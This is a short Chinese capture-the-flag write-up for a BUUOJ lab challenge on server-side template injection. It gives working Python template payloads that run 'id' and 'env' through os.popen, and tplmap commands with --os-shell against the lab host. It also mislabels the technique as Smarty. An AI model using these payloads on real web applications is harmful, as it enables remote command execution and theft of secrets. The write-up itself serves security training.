知识点
- SSTI
- python模板注入(Smarty模板)
启动靶机
1. 访问题目
打开页面,页面显示Hello guest
,猜测要传参name,尝试传参
2. SSTI注入
尝试进行ssti注入(根据题目提示也可知是ssti)
发现存在模板注入,payload:
?name={{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
3. env打印环境变量拿到flag
env打印环境变量:
?name={{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}
使用splmap工具
python tplmap.py -u http://node4.buuoj.cn:29668/\?name\=1
python tplmap.py -u http://node4.buuoj.cn:29668/\?name\=1 --os-shell
存在ssti:
env查看环境变量,得到flag